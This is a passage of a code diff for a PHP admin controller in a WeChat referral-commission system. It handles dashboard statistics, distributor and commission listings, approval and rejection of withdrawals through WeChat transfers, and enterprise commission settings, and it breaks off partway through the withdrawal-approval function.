->whereIn('inviterId', $inviterIds) - ->where('enterpriseId', $enterpriseId) - ->field('inviterId, COUNT(DISTINCT inviteeId) as teamCount') - ->group('inviterId') - ->select()->toArray(); - $teamMap = []; - foreach ($teamRows as $r) { - $teamMap[$r['inviterId']] = (int)$r['teamCount']; - } - } - - $list = []; - foreach ($inviters as $inv) { - $uid = $inv['id']; - $totalFen = (int)($commStats[$uid]['totalFen'] ?? 0); - $paidFen = (int)($commStats[$uid]['paidFen'] ?? 0); - $withdrawn = $withdrawnMap[$uid] ?? 0; - $avail = max(0, $paidFen - $withdrawn); - $list[] = [ - 'id' => $uid, - 'agentName' => $inv['nickname'] ?: ('用户' . $uid), - 'avatar' => $inv['avatar'] ?? '', - 'totalCommission' => number_format($totalFen / 100, 2, '.', ''), - 'availableCommission'=> number_format($avail / 100, 2, '.', ''), - 'teamCount' => $teamMap[$uid] ?? 0, - 'teamPerformance' => '-', - 'inviteCode' => '-', - 'level' => '-', - 'createdAt' => $inv['createdAt'], - ]; - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } catch (\Exception $e) { - return error('获取分销商列表失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // GET distribution/bindings 绑定记录列表 - // ───────────────────────────────────────────────────────────── - public function bindings() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限', 403); - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, (int) Request::param('pageSize', 20)); - $status = Request::param('status', ''); - $inviterId = (int) Request::param('inviterId', 0); - - try { - $query = Db::name('distribution_bindings') - ->alias('b') - ->leftJoin('wechat_users inv', 'b.inviterId = inv.id') - ->leftJoin('wechat_users invt', 'b.inviteeId = invt.id') - ->field('b.*, inv.nickname as inviterName, inv.avatar as inviterAvatar, - invt.nickname as inviteeName, invt.avatar as inviteeAvatar') - ->where('b.enterpriseId', $enterpriseId); - - if ($inviterId > 0) { - $query->where('b.inviterId', $inviterId); - } - if ($status) { - $query->where('b.status', $status); - } - - $total = (clone $query)->count(); - $list = $query->order('b.updatedAt', 'desc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - $now = time(); - foreach ($list as &$row) { - $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); - $row['inviterName'] = $row['inviterName'] ?: '未知'; - $row['inviteeName'] = $row['inviteeName'] ?: '未知'; - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } catch (\Exception $e) { - return error('获取绑定记录失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // GET distribution/commissions 佣金记录列表 - // ───────────────────────────────────────────────────────────── - public function commissions() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限', 403); - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, (int) Request::param('pageSize', 20)); - $status = Request::param('status', ''); - $inviterId = (int) Request::param('inviterId', 0); - - try { - $query = Db::name('commission_records') - ->alias('c') - ->leftJoin('wechat_users inv', 'c.inviterId = inv.id') - ->leftJoin('wechat_users invt', 'c.inviteeId = invt.id') - ->field('c.*, inv.nickname as inviterName, inv.avatar as inviterAvatar, invt.nickname as inviteeName, invt.avatar as inviteeAvatar') - ->where('c.enterpriseId', $enterpriseId); - - if ($inviterId > 0) { - $query->where('c.inviterId', $inviterId); - } - if ($status) { - $query->where('c.status', $status); - } - - $total = (clone $query)->count(); - $list = $query->order('c.createdAt', 'desc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - $orderIds = []; - $testResultIds = []; - foreach ($list as $row) { - if (!empty($row['orderId'])) { - $orderIds[] = (int) $row['orderId']; - } - if (!empty($row['testResultId'])) { - $testResultIds[] = (int) $row['testResultId']; - } - } - - $orderTypeMap = []; - if (!empty($orderIds)) { - $rows = Db::name('test_results') - ->whereIn('orderId', array_values(array_unique($orderIds))) - ->field('orderId, testType') - ->select() - ->toArray(); - foreach ($rows as $item) { - $orderTypeMap[(int) $item['orderId']] = self::normalizeTestType($item['testType'] ?? ''); - } - } - - $resultTypeMap = []; - if (!empty($testResultIds)) { - $rows = Db::name('test_results') - ->whereIn('id', array_values(array_unique($testResultIds))) - ->field('id, testType') - ->select() - ->toArray(); - foreach ($rows as $item) { - $resultTypeMap[(int) $item['id']] = self::normalizeTestType($item['testType'] ?? ''); - } - } - - foreach ($list as &$row) { - $testType = 'other'; - if (($row['commissionSource'] ?? '') === 'test_completion' && !empty($row['testResultId'])) { - $testType = $resultTypeMap[(int) $row['testResultId']] ?? 'other'; - } elseif (!empty($row['orderId'])) { - $testType = $orderTypeMap[(int) $row['orderId']] ?? 'other'; - } - - $row['testType'] = $testType; - $row['testTypeLabel'] = self::getTestTypeLabel($testType); - $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); - $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } catch (\Exception $e) { - return error('获取佣金记录失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // GET distribution/withdrawals 提现申请列表 - // ───────────────────────────────────────────────────────────── - public function withdrawals() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限', 403); - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, (int) Request::param('pageSize', 20)); - $status = Request::param('status', ''); - - try { - $query = Db::name('distribution_withdrawals') - ->alias('w') - ->join('wechat_users u', 'w.userId = u.id') - ->field('w.*, u.nickname, u.avatar') - ->where('u.enterpriseId', $enterpriseId); - - if ($status !== '') { - // 后台传入可以是字符串或数字,这里统一转 int - $query->where('w.status', (int)$status); - } - - $total = (clone $query)->count(); - $list = $query->order('w.createdAt', 'desc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - foreach ($list as &$row) { - $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); - $row['nickname'] = $row['nickname'] ?: '未知用户'; - - // 确保前端拿到的是数字 status(避免 '0' 和 0 比较异常) - $code = (int) ($row['status'] ?? 0); - $row['status'] = $code; - - // 统一后台状态文案:0审核中、1已驳回、2待收款、3已收款、4已过期 - switch ($code) { - case 0: - $row['statusLabel'] = '审核中'; - break; - case 1: - $row['statusLabel'] = '已驳回'; - break; - case 2: - $row['statusLabel'] = '待收款'; - break; - case 3: - $row['statusLabel'] = '已收款'; - break; - case 4: - $row['statusLabel'] = '已过期'; - break; - default: - $row['statusLabel'] = '未知'; - break; - } - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } catch (\Exception $e) { - return error('获取提现记录失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // POST distribution/withdrawals/:id/approve 审核通过 - // ───────────────────────────────────────────────────────────── - public function approveWithdrawal(int $id) - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限', 403); - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - $note = Request::param('note', ''); - $now = time(); - - $record = Db::name('distribution_withdrawals') - ->alias('w') - ->join('wechat_users u', 'w.userId = u.id') - ->where('w.id', $id) - ->where('u.enterpriseId', $enterpriseId) - ->field('w.*, u.openid') - ->find(); - // 仅允许处理审核中(status=0)的记录 - if (!$record || (int)$record['status'] !== 0) { - return error('提现申请不存在、已处理或无权限', 400); - } - - try { - // 生成商户明细单号:TX + 时间戳 + 随机数(示例:TX202603121526520005) - $outDetailNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999); - - // 调用微信商家转账到零钱接口 - $service = new \app\common\service\WechatTransferService(); - $result = $service->createTransfer([ - 'out_detail_no' => $outDetailNo, - 'transfer_amount'=> (int) $record['amountFen'], - 'transfer_remark'=> '推广佣金提现', - 'openid' => $record['openid'], - 'batch_name' => '推广佣金提现', - 'batch_remark' => '用户提现', - ]); - - if ($result['success'] !== true) { - $err = $result['error'] ?? []; - $code = $err['code'] ?? 'UNKNOWN'; - $msg = $err['message'] ?? '微信转账接口调用失败'; - return error("微信转账发起失败({$code}):{$msg}", 500); - } - - $wechatData = $result['data'] ?? []; - Db::name('distribution_withdrawals') - ->where('id', $id) - ->update([ - // 2=待收款(已发起微信转账,等待用户确认) - 'status' => 2, - 'auditNote' => $note, - 'auditAt' => $now, - 'updatedAt' => $now, - 'pay_type' => 'wechat', - 'out_bill_no' => $outDetailNo, - 'transfer_bill_no' => $wechatData['batch_id'] ?? null, - 'wechat_pay_state' => $wechatData['batch_status'] ?? 'PROCESSING', - 'transfer_scene_id'=> $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), - 'mch_id' => env('MCH_ID', null), - ]); - - return success(null, '审核通过,已发起微信转账'); - } catch (\Exception $e) { - return error('操作失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // POST distribution/withdrawals/:id/reject 审核拒绝 - // ───────────────────────────────────────────────────────────── - public function rejectWithdrawal(int $id) - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限', 403); - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - $note = Request::param('note', ''); - $now = time(); - - $record = Db::name('distribution_withdrawals') - ->alias('w') - ->join('wechat_users u', 'w.userId = u.id') - ->where('w.id', $id) - ->where('u.enterpriseId', $enterpriseId) - ->field('w.*') - ->find(); - // 仅允许处理审核中(status=0)的记录 - if (!$record || (int)$record['status'] !== 0) { - return error('提现申请不存在、已处理或无权限', 400); - } - - Db::startTrans(); - try { - // 退回余额 - Db::name('wechat_users') - ->where('id', $record['userId']) - ->inc('walletBalance', $record['amountFen']) - ->update(['updatedAt' => $now]); - - Db::name('distribution_withdrawals') - ->where('id', $id) - ->update([ - // 1=已驳回 - 'status' => 1, - 'auditNote' => $note, - 'auditAt' => $now, - 'updatedAt' => $now, - ]); - - Db::commit(); - return success(null, '已拒绝,余额已退回'); - } catch (\Exception $e) { - Db::rollback(); - return error('操作失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // GET distribution/settings 获取企业分销配置 - // ───────────────────────────────────────────────────────────── - public function settings() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限', 403); - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - - try { - $config = Db::name('system_config') - ->where('key', 'distribution') - ->where('enterprise_id', $enterpriseId) - ->find(); - - $tsDefault = self::defaultTestSettings(); - $default = [ - 'enabled' => true, - 'promoCenterTitle' => '推广中心', - 'bindingDays' => 30, - 'testSettings' => $tsDefault, - ]; - - if ($config && $config['value']) { - $settings = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; - $settings = array_merge($default, $settings ?? []); - } else { - $settings = $default; - } - - // 附加前端可读的 commissionAmount(元) - $settings['testSettings'] = self::appendTestSettingsAmount( - $settings['testSettings'] ?? $tsDefault - ); - - return success($settings); - } catch (\Exception $e) { - return error('获取配置失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // PUT distribution/settings 更新企业分销配置 - // ───────────────────────────────────────────────────────────── - public function updateSettings() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限', 403); - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - $settings = Request::only(['enabled', 'promoCenterTitle', 'bindingDays', 'testSettings']); - - $promoTitle = trim((string)($settings['promoCenterTitle'] ?? '')); - $toSave = [ - 'enabled' => (bool)($settings['enabled'] ?? true), - 'promoCenterTitle' => $promoTitle !== '' ? $promoTitle : '推广中心', - 'bindingDays' => (int)($settings['bindingDays'] ?? 30), - 'testSettings' => self::sanitizeTestSettings($settings['testSettings'] ?? null), - ]; - - try { - $now = time(); - $existing = Db::name('system_config') - ->where('key', 'distribution') - ->where('enterprise_id', $enterpriseId) - ->find(); - - if ($existing) { - Db::name('system_config') - ->where('key', 'distribution') - ->where('enterprise_id', $enterpriseId) - ->update(['value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), 'updatedAt' => $now]); - } else { - Db::name('system_config')->insert([ - 'key' => 'distribution', - 'enterprise_id' => $enterpriseId, - 'value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), - 'createdAt' => $now, - 'updatedAt' => $now, - ]); - } - - $toSave['testSettings'] = self::appendTestSettingsAmount($toSave['testSettings']); - return success($toSave, '配置已保存'); - } catch (\Exception $e) { - return error('保存配置失败:' . $e->getMessage(), 500); - } - } - - private static function defaultTestSettings(): array - { - $item = ['enabled' => true, 'commissionType' => 'ratio', 'commissionRate' => 90, 'commissionAmountFen' => 0, 'noPayment' => false]; - return ['face' => $item, 'mbti' => $item, 'disc' => $item, 'pdp' => $item]; - } - - private static function sanitizeTestSettings($raw): array - { - $default = self::defaultTestSettings(); - if (!is_array($raw)) return $default; - $result = []; - foreach ($default as $type => $def) { - $s = $raw[$type] ?? []; - $commissionType = in_array($s['commissionType'] ?? '', ['ratio', 'amount']) ? $s['commissionType'] : 'ratio'; - $amountFen = isset($s['commissionAmount']) - ? (int) round((float)$s['commissionAmount'] * 100) - : (int)($s['commissionAmountFen'] ?? 0); - $rate = max(0, min(100, (int)($s['commissionRate'] ?? 90))); - $result[$type] = [ - 'enabled' => ($s['enabled'] ?? true) !== false, - 'commissionType' => $commissionType, - 'commissionRate' => $commissionType === 'ratio' ? $rate : 0, - 'commissionAmountFen'=> $commissionType === 'amount' ? max(0, $amountFen) : 0, - 'noPayment' => !empty($s['noPayment']), - ]; - } - return $result; - } - - private static function appendTestSettingsAmount(array $ts): array - { - foreach ($ts as $k => $v) { - $ts[$k]['commissionAmount'] = round(($v['commissionAmountFen'] ?? 0) / 100, 2); - } - return $ts; - } - - private static function buildProductCommissionSeries(int $enterpriseId): array - { - $records = Db::name('commission_records') - ->where('enterpriseId', $enterpriseId) - ->whereIn('status', ['paid', 'frozen']) - ->field('orderId, testResultId, commissionSource, commissionFen') - ->select() - ->toArray(); - - $orderIds = []; - $testResultIds = []; - foreach ($records as $record) { - if (!empty($record['orderId'])) { - $orderIds[] = (int) $record['orderId']; - } - if (!empty($record['testResultId'])) { - $testResultIds[] = (int) $record['testResultId']; - } - } - - $orderTypeMap = []; - if (!empty($orderIds)) { - $rows = Db::name('test_results') - ->whereIn('orderId', array_values(array_unique($orderIds))) - ->field('orderId, testType') - ->select() - ->toArray(); - foreach ($rows as $row) { - $orderTypeMap[(int) $row['orderId']] = self::normalizeTestType($row['testType'] ?? ''); - } - } - - $resultTypeMap = []; - if (!empty($testResultIds)) { - $rows = Db::name('test_results') - ->whereIn('id', array_values(array_unique($testResultIds))) - ->field('id, testType') - ->select() - ->toArray(); - foreach ($rows as $row) { - $resultTypeMap[(int) $row['id']] = self::normalizeTestType($row['testType'] ?? ''); - } - } - - $totals = [ - 'face' => 0, - 'mbti' => 0, - 'disc' => 0, - 'pdp' => 0, - 'other' => 0, - ]; - - foreach ($records as $record) { - $type = 'other'; - if (($record['commissionSource'] ?? '') === 'test_completion' && !empty($record['testResultId'])) { - $type = $resultTypeMap[(int) $record['testResultId']] ?? 'other'; - } elseif (!empty($record['orderId'])) { - $type = $orderTypeMap[(int) $record['orderId']] ?? 'other'; - } - - if (!isset($totals[$type])) { - $type = 'other'; - } - $totals[$type] += (int) ($record['commissionFen'] ?? 0); - } - - return [ - ['label' => '人脸分析', 'value' => round($totals['face'] / 100, 2)], - ['label' => 'MBTI', 'value' => round($totals['mbti'] / 100, 2)], - ['label' => 'DISC', 'value' => round($totals['disc'] / 100, 2)], - ['label' => 'PDP', 'value' => round($totals['pdp'] / 100, 2)], - ['label' => '其他', 'value' => round($totals['other'] / 100, 2)], - ]; - } - - private static function normalizeTestType(string $testType): string - { - $normalized = strtolower(trim($testType)); - if ($normalized === 'ai') { - return 'face'; - } - if (in_array($normalized, ['face', 'mbti', 'disc', 'pdp'], true)) { - return $normalized; - } - return 'other'; - } - - private static function getTestTypeLabel(string $testType): string - { - $map = [ - 'face' => '人脸', - 'mbti' => 'MBTI', - 'disc' => 'DISC', - 'pdp' => 'PDP', - 'other' => '其他', - ]; - - return $map[$testType] ?? strtoupper($testType ?: '其他'); - } -} +request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $days = 7; + $trendStart = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); + + try { + $query = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId); + + $totalCommission = (clone $query)->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; + $paidCommission = (clone $query)->where('status', 'paid')->sum('commissionFen') ?: 0; + $frozenCommission = (clone $query)->where('status', 'frozen')->sum('commissionFen') ?: 0; + $totalOrders = (clone $query)->whereIn('status', ['paid', 'frozen'])->count(); + $todayCommission = (clone $query) + ->whereIn('status', ['paid', 'frozen']) + ->where('createdAt', '>=', $todayStart) + ->sum('commissionFen') ?: 0; + $pendingCount = (clone $query)->where('status', 'frozen')->count(); + + $bindingQuery = Db::name('distribution_bindings') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'active') + ->where('expireAt', '>', time()); + $bindingCount = (clone $bindingQuery)->count(); + $totalAgents = (clone $bindingQuery)->distinct(true)->count('inviterId'); + $todayAgents = Db::name('distribution_bindings') + ->where('enterpriseId', $enterpriseId) + ->where('createdAt', '>=', $todayStart) + ->distinct(true) + ->count('inviterId'); + + $trendRows = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->whereIn('status', ['paid', 'frozen']) + ->where('createdAt', '>=', $trendStart) + ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, SUM(commissionFen) as totalFen") + ->group('d') + ->order('d', 'asc') + ->select() + ->toArray(); + $trendMap = []; + foreach ($trendRows as $row) { + $trendMap[$row['d']] = (int) ($row['totalFen'] ?? 0); + } + $commissionTrend = []; + for ($i = 0; $i < $days; $i++) { + $date = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); + $commissionTrend[] = [ + 'date' => $date, + 'amount' => round(($trendMap[$date] ?? 0) / 100, 2), + ]; + } + + $productSeries = self::buildProductCommissionSeries($enterpriseId); + + return success([ + 'totalAgents' => (int) $totalAgents, + 'todayAgents' => (int) $todayAgents, + 'totalCommission' => number_format($totalCommission / 100, 2, '.', ''), + 'todayCommission' => number_format($todayCommission / 100, 2, '.', ''), + 'pendingCommission' => number_format($frozenCommission / 100, 2, '.', ''), + 'pendingCount' => (int) $pendingCount, + 'paidCommission' => number_format($paidCommission / 100, 2, '.', ''), + 'frozenCommission' => number_format($frozenCommission / 100, 2, '.', ''), + 'totalOrders' => (int) $totalOrders, + 'bindingCount' => (int) $bindingCount, + 'commissionTrend' => $commissionTrend, + 'productCommissionSeries' => $productSeries, + ]); + } catch (\Exception $e) { + return error('获取数据失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/distributors 分销商列表(有过邀请行为的用户) + // ───────────────────────────────────────────────────────────── + public function distributors() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $search = trim((string) Request::param('search', '')); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + + try { + // 找出与本企业关联的所有有过邀请行为的用户(不限 scope,按 enterpriseId 筛选) + $query = Db::name('distribution_bindings') + ->where('enterpriseId', $enterpriseId) + ->distinct(true) + ->field('inviterId') + ->buildSql(); + + $inviterQuery = Db::name('wechat_users') + ->alias('u') + ->whereRaw("u.id IN {$query}") + ->field('u.id, u.nickname, u.avatar, u.createdAt'); + + if ($search !== '') { + $inviterQuery->where(function ($q) use ($search) { + $q->where('u.nickname', 'like', "%{$search}%") + ->whereOr('u.id', '=', is_numeric($search) ? (int)$search : -1); + }); + } + + $total = (clone $inviterQuery)->count(); + $inviters = $inviterQuery->page($page, $pageSize)->select()->toArray(); + + $inviterIds = array_column($inviters, 'id'); + + // 各邀请人的累计佣金与可提现佣金 + $commStats = []; + if (!empty($inviterIds)) { + $rows = Db::name('commission_records') + ->whereIn('inviterId', $inviterIds) + ->where('enterpriseId', $enterpriseId) + ->field('inviterId, + SUM(IF(status IN ("paid","frozen"), commissionFen, 0)) as totalFen, + SUM(IF(status = "paid", commissionFen, 0)) as paidFen') + ->group('inviterId') + ->select()->toArray(); + foreach ($rows as $r) { + $commStats[$r['inviterId']] = $r; + } + + // 已提现金额 + $withdrawnRows = Db::name('distribution_withdrawals') + ->whereIn('userId', $inviterIds) + // 提现金额统计:0=审核中,2=待收款,3=已收款 + ->whereIn('status', [0, 2, 3]) + ->field('userId, SUM(amountFen) as withdrawnFen') + ->group('userId') + ->select()->toArray(); + $withdrawnMap = []; + foreach ($withdrawnRows as $r) { + $withdrawnMap[$r['userId']] = (int)$r['withdrawnFen']; + } + + // 团队人数(绑定人数,不限 scope) + $teamRows = Db::name('distribution_bindings') + ->whereIn('inviterId', $inviterIds) + ->where('enterpriseId', $enterpriseId) + ->field('inviterId, COUNT(DISTINCT inviteeId) as teamCount') + ->group('inviterId') + ->select()->toArray(); + $teamMap = []; + foreach ($teamRows as $r) { + $teamMap[$r['inviterId']] = (int)$r['teamCount']; + } + } + + $list = []; + foreach ($inviters as $inv) { + $uid = $inv['id']; + $totalFen = (int)($commStats[$uid]['totalFen'] ?? 0); + $paidFen = (int)($commStats[$uid]['paidFen'] ?? 0); + $withdrawn = $withdrawnMap[$uid] ?? 0; + $avail = max(0, $paidFen - $withdrawn); + $list[] = [ + 'id' => $uid, + 'agentName' => $inv['nickname'] ?: ('用户' . $uid), + 'avatar' => $inv['avatar'] ?? '', + 'totalCommission' => number_format($totalFen / 100, 2, '.', ''), + 'availableCommission'=> number_format($avail / 100, 2, '.', ''), + 'teamCount' => $teamMap[$uid] ?? 0, + 'teamPerformance' => '-', + 'inviteCode' => '-', + 'level' => '-', + 'createdAt' => $inv['createdAt'], + ]; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取分销商列表失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/bindings 绑定记录列表 + // ───────────────────────────────────────────────────────────── + public function bindings() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + $inviterId = (int) Request::param('inviterId', 0); + + try { + $query = Db::name('distribution_bindings') + ->alias('b') + ->leftJoin('wechat_users inv', 'b.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'b.inviteeId = invt.id') + ->field('b.*, inv.nickname as inviterName, inv.avatar as inviterAvatar, + invt.nickname as inviteeName, invt.avatar as inviteeAvatar') + ->where('b.enterpriseId', $enterpriseId); + + if ($inviterId > 0) { + $query->where('b.inviterId', $inviterId); + } + if ($status) { + $query->where('b.status', $status); + } + + $total = (clone $query)->count(); + $list = $query->order('b.updatedAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $now = time(); + foreach ($list as &$row) { + $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); + $row['inviterName'] = $row['inviterName'] ?: '未知'; + $row['inviteeName'] = $row['inviteeName'] ?: '未知'; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取绑定记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/commissions 佣金记录列表 + // ───────────────────────────────────────────────────────────── + public function commissions() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + $inviterId = (int) Request::param('inviterId', 0); + + try { + $query = Db::name('commission_records') + ->alias('c') + ->leftJoin('wechat_users inv', 'c.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'c.inviteeId = invt.id') + ->field('c.*, inv.nickname as inviterName, inv.avatar as inviterAvatar, invt.nickname as inviteeName, invt.avatar as inviteeAvatar') + ->where('c.enterpriseId', $enterpriseId); + + if ($inviterId > 0) { + $query->where('c.inviterId', $inviterId); + } + if ($status) { + $query->where('c.status', $status); + } + + $total = (clone $query)->count(); + $list = $query->order('c.createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $orderIds = []; + $testResultIds = []; + foreach ($list as $row) { + if (!empty($row['orderId'])) { + $orderIds[] = (int) $row['orderId']; + } + if (!empty($row['testResultId'])) { + $testResultIds[] = (int) $row['testResultId']; + } + } + + $orderTypeMap = []; + if (!empty($orderIds)) { + $rows = Db::name('test_results') + ->whereIn('orderId', array_values(array_unique($orderIds))) + ->field('orderId, testType') + ->select() + ->toArray(); + foreach ($rows as $item) { + $orderTypeMap[(int) $item['orderId']] = self::normalizeTestType($item['testType'] ?? ''); + } + } + + $resultTypeMap = []; + if (!empty($testResultIds)) { + $rows = Db::name('test_results') + ->whereIn('id', array_values(array_unique($testResultIds))) + ->field('id, testType') + ->select() + ->toArray(); + foreach ($rows as $item) { + $resultTypeMap[(int) $item['id']] = self::normalizeTestType($item['testType'] ?? ''); + } + } + + foreach ($list as &$row) { + $testType = 'other'; + if (($row['commissionSource'] ?? '') === 'test_completion' && !empty($row['testResultId'])) { + $testType = $resultTypeMap[(int) $row['testResultId']] ?? 'other'; + } elseif (!empty($row['orderId'])) { + $testType = $orderTypeMap[(int) $row['orderId']] ?? 'other'; + } + + $row['testType'] = $testType; + $row['testTypeLabel'] = self::getTestTypeLabel($testType); + $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); + $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取佣金记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/withdrawals 提现申请列表 + // ───────────────────────────────────────────────────────────── + public function withdrawals() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + + try { + $query = Db::name('distribution_withdrawals') + ->alias('w') + ->join('wechat_users u', 'w.userId = u.id') + ->field('w.*, u.nickname, u.avatar') + ->where('u.enterpriseId', $enterpriseId); + + if ($status !== '') { + // 后台传入可以是字符串或数字,这里统一转 int + $query->where('w.status', (int)$status); + } + + $total = (clone $query)->count(); + $list = $query->order('w.createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + foreach ($list as &$row) { + $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); + $row['nickname'] = $row['nickname'] ?: '未知用户'; + + // 确保前端拿到的是数字 status(避免 '0' 和 0 比较异常) + $code = (int) ($row['status'] ?? 0); + $row['status'] = $code; + + // 统一后台状态文案:0审核中、1已驳回、2待收款、3已收款、4已过期 + switch ($code) { + case 0: + $row['statusLabel'] = '审核中'; + break; + case 1: + $row['statusLabel'] = '已驳回'; + break; + case 2: + $row['statusLabel'] = '待收款'; + break; + case 3: + $row['statusLabel'] = '已收款'; + break; + case 4: + $row['statusLabel'] = '已过期'; + break; + default: + $row['statusLabel'] = '未知'; + break; + } + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取提现记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/approve 审核通过 + // ───────────────────────────────────────────────────────────── + public function approveWithdrawal(int $id) + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals') + ->alias('w') + ->join('wechat_users u', 'w.userId = u.id') + ->where('w.id', $id) + ->where('u.enterpriseId', $enterpriseId) + ->field('w.*, u.openid') + ->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在、已处理或无权限', 400); + } + + try { + // 生成商户明细单号:TX + 时间戳 + 随机数(示例:TX202603121526520005) + $outDetailNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999); + + // 调用微信商家转账到零钱接口 + $service = new \app\common\service\WechatTransferService(); + $result = $service->createTransfer([ + 'out_detail_no' 